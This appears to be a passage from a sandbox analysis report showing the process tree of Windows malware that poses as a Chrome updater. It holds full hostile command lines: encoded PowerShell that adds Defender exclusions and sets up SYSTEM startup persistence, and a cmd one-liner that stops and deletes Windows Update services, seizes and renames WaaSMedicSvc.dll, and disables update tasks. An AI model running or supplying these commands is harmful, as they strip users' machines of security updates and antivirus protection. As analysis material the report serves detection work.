      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:1912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:5224
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:4444
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:1148
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:5840
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:5436
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:5564
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:5396
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:3796
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:5732
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:1712
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:4692
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        
        PID:5336
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        
        PID:1376
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:4376
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3648
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2416
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:4660
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        
        PID:5792
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:2024
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:5044
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:736
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:3472
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:1216
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:3240
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:3044
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:5936
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:764
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:5760
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:4372
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:5444
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:3804
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:6056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:5504
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 zu8xig1NsQoKkEp6jsGp1FzkODn3PlcQanKaEb8L3RvtrtnZtdw/AGKPi/OlMpbcRLX4SGqLmd4JVVEBg1iFJ0OscxPL57kf2s/k/onXFgKm4sdbhgnOlplr9be7v0A6qGJHo1OEIjzCp4qSoj9cytw1sElMCl+0dC1f1DGFXQyBmCRBpr8s+avpSJSRySDpSgJM7yFfMnziBNtEqpHChnPfj+hX9sWuBMgfIEgkwEbY08gIbF6etPVzby+UslqffcHESMR9mviznTsaZAHFWN0He0VFMBh2T3CQtjehhwI0gQj1LYfDv2YAu0Y8rf6+cy8hJehfBGlUbJkdCrXrXY4YdHxOmvzxrnhvex9xNXVG/Rv9nqAyglRkH3CBuLlqKCPneSf513hbmkEFkExePMTC4ygt1AGYcJwh01H2RtifLpFUc6AlK8rIN8hPDxQuYb0gkogWr/zCvx8Ibew9uV2G9jxKAHPNIxQuwdkNasJGu4dYIQP4Rx1aH+ygtARSQrKe1BCEtz8edrrDUYOQwcpb29rHsuTEOsUSvOglFF6125uA+sYA1Rhkb+hlN2+GeiPDr6lur+QTU7X7n8drIHppkJaPVnYUvlyD2jsNr0CbLsg1HFrkFBxQH2H8ZyYlQJlzfrFSN7l6cADh8khZsQ4cgvVVBTiaWuBVGVwSwxrPSOG8tK3HmGwpqliX/FG1b99xqaKU+a/+VO+1GTZ8Xdwzj3uUgr69IIdvAeTWTMI6KW9V43kI4bG1pjcREWlEnCWFwWnxJNrVMKyEu0DLg8HRMjIYVEDkTdPj5IHx89bHw/AIN7W9CNuOEbXzRWFzk8vKKwUBRk9V77GIGZFujnkh3ZTIk0RlUxoVD1CkQy+0cjwqRJpkTd6N2Oqu9oidCLsr3vkxUHQZMkQr0jRPmm5vL/LfrIbq/+TBSDitxJAKdygoOF/a7xOoO13cmMsrPK7j1sDwTmcYooVYBLPVtZWcYPpYQViEJJkuoN6yP0kn6cLkVSWdmNEo+Whol+gDfLFowN1ySfKqkj0wQIeNL7jMB75o65P5pNv/AYlwya2bFCHszVgrG7xfrmpywe7LijLT9s8A8P6wheR+Fq/OHWfVfjsWEqMCew4PuzgeQ6NgaqZJ+Y2XjK05vMqUSlDDSn/wpBmAiPGpI24FOXp/7Z8m9Km/zGV4mStq8ZvbbZifup17YQ9FJ6oBMFMS4gc5Y8oFpUjuTtc6NKGd3RAAXGuF0YZyRfEJmtsrPcZOroDed4EjGJgNTkg43D/ABg2glUN27aI1G97T+ojP44jpHhEU3Lj5I54Zak6eFKkIheeKdv73IHLN8O8HHeS6HdUZWimLsVa4zji7UFy7o6cLXGc/Eq5hYQUzeRSlEmdk3F/qNdOcqL3lcw+6uNo4/QEXBoZXHn/8AgVDOaPGeI2Wob4JC+VyMXFoPgVWR/3Br2EuRudyMBOMvgGxefLUZXVd74mIJEvRYqPrYe1Yn9j9TXnR4enLcM7hSKrfRJU0xiXaS7ExxuJ6Srkp0nQq7vH1mMqR8RVLHBr3ppAruJ181NF6XbwXJKbb5o9mev73Gi7le9PWpd1p8s3bvof1D8Z77xAeP9FyTMJ/55kMuCbYtJ5OnZAR1M1wM0c1r5ZwviQirnlCZcAttnj7GJ26b19VU1Kguf0ePzv76AmWNN89k0lL+FdVSPDKCDlFEl8E9Ak755kVq5GBSz4GSXekDHkNX6htiQENH6WyMcNhVx35Z1g7m8A7Zt9WSyji0+v0sO5t1s6nwgLWZ4ygI1zi1op8TFaZkO1B8ngYUd9nGDYlwQFfvs4BNhAFD8Hw6Q3Cx/8p9t/UQQKDrQeNEjOPBLbnQd5+xeoCfjaKnj3SwaaprLRhFxvVMwvQIfTY1wiOsf2pH+Tcfu6o3KHr+M3mlMOab9fv8Utk1809gpKxzMrqNU+/nDKiUknMrVbNnoKvNE7L6Ir0hQec6YZoL04r763W5PP67j/52LUYKIq3fobEIt13vWk9Bbty/uiK/AU3GBoBOrqf7Mj5Bf+pC78HHlzEDyPJfp2B0fhm5TlTpJSkgp66q3IM/uKS1OXG/UaSJlp1i+bKwQchSkRA+w02dEY4kPPYBHqeL+hMBkmMn6pGvH0SK/9/jiFyWzt7pBSgTPINyrYmmHd2w9d42YLUdDHtWBfTq9MIF4GOsIf0y+9ZHlJeihFQSINBoU5hRNNw7kLx827lbbtVrhzl54RgM5uTJXy3SbmbuzAN3NUQgYmHvMLltAczC80Un9n8cUqaXDgJqKO2kcj5DVpsXD4Lvr3dbi+65KqGqZLQ8PFp/LLRK4BLiiPvtfCpBpnfWtgjSv8=
      4⤵
      Executes dropped EXE
      PID:3024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:4312
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:4760
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:5328
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:1956
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:4776
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:4884
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:2912
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:5856
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:5296
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        
        PID:3344
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:4324
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        Modifies registry key
        
        PID:1528
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:4896
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        
        PID:4000
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:552
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:668
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        
        PID:1212
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:4532
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        
        PID:5240
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        
        PID:5476
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:2428
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:1792
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:3032
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:3504
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:6000
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:3920
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:1200
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:1736
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:1708
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:2484
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:1104
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:4240
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
